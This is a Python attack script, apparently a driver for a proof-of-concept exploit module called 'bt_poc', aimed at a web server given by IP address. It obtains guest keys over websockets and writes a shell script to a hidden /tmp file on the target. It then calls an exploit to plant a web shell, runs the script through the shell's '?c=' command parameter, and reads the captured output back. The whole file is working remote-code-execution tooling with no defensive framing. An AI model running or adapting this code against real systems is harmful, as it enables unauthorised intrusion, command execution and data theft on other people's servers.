import asyncio, sys, urllib.parse
import aiohttp
import bt_poc as B

SCRIPT = open('bt_env.sh', 'rb').read()


async def open_native(s, base, site, issue):
    nk = await B.guest_key(s, base, issue)
    tk = await B.guest_key(s, base, issue)
    w = await B.open_ws(s, base, site[0], site[1], False)
    c, h = await B.native_setup(w, nk)
    tw = await B.open_ws(s, base, site[0], site[1], True)
    await B.thin_setup(tw, tk)
    worker = await B.get_worker(c, h, tk)
    return c, worker


async def main(ip, issue):
    base = 'https://' + ip
    conn = aiohttp.TCPConnector(limit=4, force_close=True)
    async with aiohttp.ClientSession(connector=conn) as s:
        site = await B.site_info(s, base)
        if issue == 0:
            issue = await B.detect_issue(s, base)
        print('site', site, 'issue', issue)
        tag = B.word(6)
        spath = '/tmp/.btenv_%s.sh' % tag
        opath = '/tmp/.btenv_%s.out' % tag

        c, worker = await open_native(s, base, site, issue)
        await B.write_file(c, worker, spath, SCRIPT)
        print('script written', spath)

        res = await B.exploit(ip, issue)
        print('shell', res.get('path'), res.get('trigger'))
        uri = res['trigger']['uri']
        cmd = urllib.parse.quote('sh %s > %s 2>&1; echo OK' % (spath, opath))
        async with s.get(B.URL(base + uri + '?c=' + cmd, encoded=True), ssl=False) as r:
            print('run', r.status, (await r.text())[:30])
        await asyncio.sleep(3)

        c2, worker2 = await open_native(s, base, site, issue)
        out = await B.read_file(c2, worker2, opath)
        sys.stdout.write(out.decode('utf-8', 'replace'))

asyncio.run(main(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else 0))
